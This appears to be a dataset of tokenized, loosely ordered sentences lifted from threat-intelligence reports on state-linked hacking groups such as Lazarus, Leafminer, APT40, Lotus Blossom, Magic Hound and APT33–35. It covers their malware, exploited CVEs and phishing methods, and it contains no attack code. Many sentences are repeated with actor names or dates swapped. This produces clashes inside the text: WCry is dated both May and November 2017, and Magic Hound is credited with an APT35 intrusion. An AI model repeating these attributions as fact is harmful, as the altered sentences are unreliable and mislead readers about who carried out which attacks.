This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
This Malware Analysis Report ( MAR ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
When victims open malicious documents attached to the emails , the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control ( C2 ) server to a victim 's system via dual proxies .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware to establish persistence .
HIDDEN COBRA actors install the FALLCHILL malware to establish persistence .
Working with U.S. government partners , DHS and FBI identified Internet Protocol ( IP ) addresses and other indicators of compromise ( IOCs ) associated with a remote administration tool ( RAT ) used by the North Korean government—commonly known as FALLCHILL .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Because of this , additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL .
This campaign , dubbed Operation GhostSecret , leverages multiple implants , tools , and malware variants associated with the state-sponsored cyber group HIDDEN COBRA .
From March 18 to 26 we observed the malware operating in multiple areas of the world .
Furthermore , the Advanced Threat Research team has discovered Proxysvc , which appears to be an undocumented implant .
Our investigation into this campaign reveals that the actor used multiple malware implants , including an unknown implant with capabilities similar to Bankshot .
The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats , including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad , which was used in the Sony Pictures attack .
Based on our analysis of public and private information from submissions , along with product telemetry , it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017 .
This new variant resembles parts of the Destover malware , which was used in the 2014 Sony Pictures attack .
The Lazarus used a similar infrastructure to earlier threats , including the Destover backdoor variant known as Escad .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
The Advanced Threat Research team uncovered activity related to this campaign in March 2018 , when the actors targeted Turkish banks .
Lazarus used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Feedback from our Smart Protection Network revealed that apart from attacks in North America ( mainly the U.S. ) , Europe , and South America , the campaign also noticeably affected enterprises in Taiwan , Hong Kong , China , and Bahrain .
On February 28 , the McAfee discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
On February 28 , the McAfee Advanced Threat Research team discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
In this analysis , we observed the return of HIDDEN COBRA 's Bankshot malware implant surfacing in the Turkish financial system .
In this new , aggressive campaign we see a return of the Bankshot implant , which last appeared in 2017 .
This attack resembles previous attacks by HIDDEN COBRA conducted against the SWIFT .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
These implants are variations of earlier forms of Bankshot , a remote access tool that gives an attacker full capability on a victim 's system .
Bankshot was first reported by the Department of Homeland Security on December 13 , 2017 , and has only recently resurfaced in newly compiled variants .
We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey ( and possibly other countries ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
This malware is capable of accessing device configuration data , downloading additional files , executing commands , modifying the registry , capturing screen shots , and exfiltrating data .
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system .
It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections ; however , HIDDEN COBRA actors use a suite of custom tools , some of which could also be used to initially compromise a system .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Lazarus actors commonly maintain persistence on a victim 's system by installing the malware-as-a-service .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government - referred to by the U.S. Government as BADCALL .
The malware uses a custom binary protocol to beacon back to the command and control ( C2 ) server , often via TCP port 8080 or 8088 , with some payloads implementing Secure Socket Layer ( SSL ) encryption to obfuscate communications .
DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity .
The malware known as RATANKBA is just one of the weapons in Lazarus ' arsenal .
We analyzed a new RATANKBA variant ( BKDR_RATANKBA.ZAEL–A ) , discovered in June 2017 , that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified .
Around 55% of the victims of Lazarus were located in India and neighboring countries .
Lazarus group could have been active since late 2016 , was used in a recent campaign targeting financial institutions using watering hole attacks .
Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government , these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history .
It 's possible that Lazarus is using RATANKBA to target larger organizations .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses .
simultaneous use of the detected Win32/KillDisk.NBO variants .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government – commonly known as HARDRAIN .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The cybercriminal group Lazarus has a history of attacking financial organizations in Asia and Latin America .
We also recently discovered that Lazarus successfully planted their backdoor ( detected by Trend Micro as BKDR_BINLODR.ZNFJ-A ) into several machines of financial institutions across Latin America .
We determined that these backdoors were installed on the targets ' machines on September 19 2018 , based mainly on the service creation time of the loader component .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
These and other tools used by the Lazarus group can be mitigated by routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
We also saw that the attack technique bears some resemblance to a previous 2017 Lazarus attack , analyzed by BAE Systems , against targets in Asia .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
Notably , after the first SMB packet sent to the victim 's IP address , WannaCry sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5 .
WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
In May 2017 , SecureWorks® Counter Threat Unit® ( CTU ) researchers investigated a widespread and opportunistic WCry ( also known as WanaCry , WanaCrypt , and Wana Decrypt0r ) ransomware campaign that impacted many systems around the world .
In November 2017 , SecureWorks Counter Threat Unit ( CTU ) researchers investigated a widespread and opportunistic WCry ransomware campaign that impacted many systems around the world .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
The campaign 's use of an SMB worm to distribute WCry contributed to the ransomware 's virulence .
Last week Microsoft , working together with Facebook and others in the security community , took strong steps to protect our customers and the internet from ongoing attacks by an advanced persistent threat actor known to us as ZINC , also known as the Lazarus Group .
Last week Microsoft , working together with Facebook , took strong steps to protect our customers and the internet from ongoing attacks by the Lazarus Group .
We concluded that Lazarus Group was responsible for WannaCry , a destructive malware .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus .
In November 2017 , Secureworks Counter Threat Unit™ ( CTU ) researchers discovered the North Korean cyber threat group , known as Lazarus Group and internally tracked as NICKEL ACADEMY by Secureworks , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
In November 2017 , CTU researchers discovered the North Korean cyber threat group , known as Lazarus Group , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
CTU researchers assess this as the continuation of activity first observed in 2016 , and it is likely that the campaign is ongoing .
CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns .
There are several indicators , which have led CTU researchers to believe with high confidence that NICKEL ACADEMY is behind the current spearphishing campaign .
CTU researchers also identified components in the custom C2 protocol being used which they have seen utilized by Nickel Academy ( Lazarus ) previously .
CTU researchers also identified components in the custom C2 protocol being used ( the way in which the malware talks to the Command and Control Servers ) which they have seen utilized by Nickel Academy ( Lazarus ) previously .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group .
During our investigation , there was a breakthrough discovery that helped connect Leafminer to a number of attacks observed on systems in the Middle East and identify the toolkit used in the group 's efforts of intrusion , lateral movement , and exfiltration .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the Leafminer .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Researching the hacker handle MagicCoder results in references to the Iranian hacking forum Ashiyane as well as defacements by the Iranian hacker group Sun Army .
Targeted regions included in the list of Leafminer are Saudi Arabia , United Arab Emirates , Qatar , Kuwait , Bahrain , Egypt , Israel , and Afghanistan .
Our investigation of Leafminer started with the discovery of JavaScript code on several compromised websites in the Middle East .
This included the Fuzzbunch framework that was part of an infamous leak of exploits and tools by the Shadow Brokers in April 2017 .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
Furthermore , the Leafminer arsenal server hosted a Python script to scan for this vulnerability .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
Commands found in a readme text that was stored in a ZIP archive together with the hacktool THC Hydra in Leafminer 's tool arsenal represent online dictionary attacks on Microsoft Exchange and Remote Desktop Protocol services of regional government servers in Saudi Arabia .
Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
Leafminer is a highly active group , responsible for targeting a range of organizations across the Middle East .
Leafminer appears to be based in Iran and seems to be eager to learn from and capitalize on tools and techniques used by more advanced threat actors .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
Dragos has identified Leafminer group targeting access operations in the electric utility sector .
Analysis of RASPITE tactics , techniques , and procedures ( TTPs ) indicate the group has been active in some form since early - to mid-2017 .
RASPITE targeting includes entities in the US , Middle East , Europe , and East Asia .
RASPITE overlaps significantly with Symantec 's Leafminer , which recently released a report on the group 's activity in the Middle East .
RASPITE 's activity to date currently focuses on initial access operations within the electric utility sector .
This means that the Leafminer group is targeting electric utilities .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the way for later potential ICS events .
Active since at least 2014 , this actor has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
Active since at least 2014 , the Leviathan has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The period between November 2014 and January 2015 marked one of the earlier instances in which Proofpoint observed persistent exploitation attempts by this actor .
The Leviathan , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
This actor , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013 , dubbed TEMP.Periscope .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
The current campaign is a sharp escalation of detected activity since summer 2017 .
Since early 2018 , FireEye ( including our FireEye as a Service ( FaaS ) , Mandiant Consulting , and iSIGHT Intelligence teams ) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities , especially those connected to South China Sea issues .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope overlaps in targeting , as well as tactics , techniques , and procedures ( TTPs ) , with TEMP.Jumper , a group that also overlaps significantly with public reporting on NanHaiShu .
The actor has conducted operations since at least 2013 in support of China 's naval modernization effort .
FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
The Leviathan group has specifically targeted engineering , transportation , and the defense industry , especially where these sectors overlap with maritime technologies .
We believe APT40 's emphasis on maritime issues and naval technology ultimately support China 's ambition to establish a blue-water navy .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation .
The actor 's targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China .
Analysis of the operational times of the group 's activities indicates that it is probably centered around China Standard Time ( UTC +8 ) .
APT40 relies heavily on web shells for an initial foothold into an organization .
APT40 has been observed leveraging a variety of techniques for initial compromise , including web server exploitation , phishing campaigns delivering publicly available and custom backdoors , and strategic web compromises .
Depending on placement , a web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
The Spring Dragon appears to have rolled out a steady mix of exploits against government-related organizations in VN , TW , PH , and other locations over the past few years .
Organizations located in Myanmar and targeted by Spring Dragon have gone unmentioned .
Spring Dragon 's infiltration techniques there were not simply spearphish .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
The well-known threat group called DRAGONFISH or Lotus Blossom are distributing a new form of Elise malware targeting organizations for espionage purposes .
The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea .
iDefense analysts have identified a campaign likely to be targeting members of— or those with affiliation or interest in—the ASEAN Defence Ministers ' Meeting ( ADMM ) .
iDefense analysts have identified a campaign likely to be targeting members of or those with affiliation or interest in the ASEAN Defence Minister 's Meeting ( ADMM ) .
iDefense assesses with high confidence that this campaign is associated with the threat group DRAGONFISH ( also known as Lotus Blossom and Spring Dragon ) .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
This Trojan is related to the Elise backdoor described in the Operation Lotus Blossom report .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
The Elise malware used by Lotus Blossom , which was an attack campaign on targets in Southeast Asia .
Based on the targeting and lures , Unit 42 assesses that the Lotus Blossom actors ' collection requirements include militaries and government agencies in Southeast Asia .
In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload .
The oldest sample we found was created in 2009 , indicating this tool has been in use for almost seven years .
In addition , Emissary appears to against Taiwan or Hong Kong , all of the decoys are written in Traditional Chinese , and they use themes related to the government or military .
Of note , this is three years earlier than the oldest Elise sample we have found , suggesting this group has been active longer than previously documented .
In addition , we observed a TTP shift post publication with regards to their malware delivery ; they started using compromised but legitimate domains to serve their malware .
All of the Emissary we've collected are written in Traditional Chinese , which is used primarily in Taiwan and Hong Kong .
One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015 , resulting in many new versions of the Emissary Trojan .
Lotus Blossom targeted the government , higher education , and high tech companies .
Our evidence suggests that malware authors created Emissary as early as 2009 , which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
The timeline in Figure 2 shows that the Emissary Trojan was first created ( version 1.0 ) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009 .
Between August and November 2015 the malware author creates several new versions of Emissary , specifically 5.0 , 5.1 , 5.3 and 5.4 in a much more rapid succession compared to development process in earlier versions .
Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014 .
While this may be coincidental , the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success .
The Lotus Blossom actors using Emissary have been active for at least seven years in Southeast Asia .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Regardless of causation , the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection , which as a corollary suggests the Lotus Blossom are actively using the Emissary Trojan as a payload in attacks .
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called " Rocket Kitten " ( AKA Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish ) as well as an older attack campaign called Newscasters .
In addition to the malware evolution , the actors also shifted from solely spear-phishing targets with attachments to also compromising legitimate websites to host malware .
It is highly likely the Lotus Blossom used spear-phishing attacks containing links to these malicious documents as a delivery mechanism .
We were ultimately able to identify multiple organizations in the government , energy , and technology sectors targeted by Magic Hound .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The MPK bot is not publicly available and had previously been attributed to an adversary group called " Rocket Kitten " which has often been thought to be a state sponsored adversary operating in the Middle East region .
One payload was a Python based open source remote administration tool ( RAT ) called Pupy .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES .
The loader 's main goal was to run a PowerShell command to execute shellcode .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
We have also seen Magic Hound using DropIt as a binder , specifically dropping a legitimate decoy executable along with the malicious executable onto the target host .
We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on .
The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
At a high level , Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
M-Trends 2018 can arm security teams with the knowledge they need to defend against today 's most often used cyber attacks , as well as lesser seen and emerging threats .
FireEye tracks thousands of threat actors , but pays special attention to state-sponsored attackers who carry out advanced persistent threat ( APT ) attacks .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam .
APT32 poses a threat to companies doing business or preparing to invest in Vietnam .
We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabia .
APT33 often conducts spear-phishing operations using a built-in phishing module .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP , we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
The HTA files contained job descriptions and links to job postings on popular employment websites .
Since at least 2014 , an Iranian threat group tracked by FireEye ashas conducted reconnaissance aligned with the strategic interests of Iran .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT34 uses a mix of public and non-public tools .
APT34 often uses compromised accounts to conduct spear-phishing operations .
APT33 leverages a mix of public and non-public tools and often conducts spear-phishing operations using a built-in phishing module from " ALFA TEaM Shell " , a publicly available web shell .
In July 2017 , FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER , which includes a domain generation algorithm ( DGA ) for command and control .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
FireEye has identified APT35 operations dating back to 2014 .
APT35 , also known as the Newscaster Team , is a threat group sponsored by the Iranian government that conducts long term , resource-intensive operations to collect strategic intelligence .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 has historically used unsophisticated tools like those listed below in Figure 3 .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Many of the fake personas utilized by APT35 claimed to be part of news organizations , which led to APT35 being referred to as the Newscaster Team .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
In early 2017 , Mandiant responded to an incident involving APT35 targeting an energy company .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
The resume contained the PupyRAT backdoor , which communicated with known APT35 infrastructure .
Once connected to the VPN , APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance .
While having access to the organization 's environment , the Magic Hound targeted data related to entities in the Middle East .
Mandiant has previously observed targeted attackers stealing email , but few threat actors have been as successful at this as APT35 .
The campaigns delivered PupyRAT , an open-source cross-platform remote access trojan ( RAT ) .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The connections associated with these profiles indicate the threat actor began using the persona to target organizations in April 2016 .
Between December 28 , 2016 and January 1 , 2017 , CTU researchers observed a phishing campaign targeting Middle Eastern organizations .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
The survey contained macros that , once enabled , downloaded PupyRAT .
CTU researchers determined that the COBALT GYPSY threat group orchestrated this activity due to the tools , techniques , and procedures ( TTPs ) used in both campaigns .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
By compromising a user account that has administrative or elevated access , Magic Hound can quickly access a targeted environment to achieve their objectives .
These characteristics suggest that COBALT GYPSY executed the January and February phishing campaigns and that it created the Mia Ash persona .
CTU researchers have observed multiple COBALT GYPSY campaigns since 2015 and consider it highly likely that the group is associated with Iranian government-directed cyber operations .
The use of the Mia Ash persona demonstrates the creativity and persistence that threat actors employ to compromise targets .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
SecureWorks Counter Threat Unit ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
SecureWorks® Counter Threat Unit™ ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
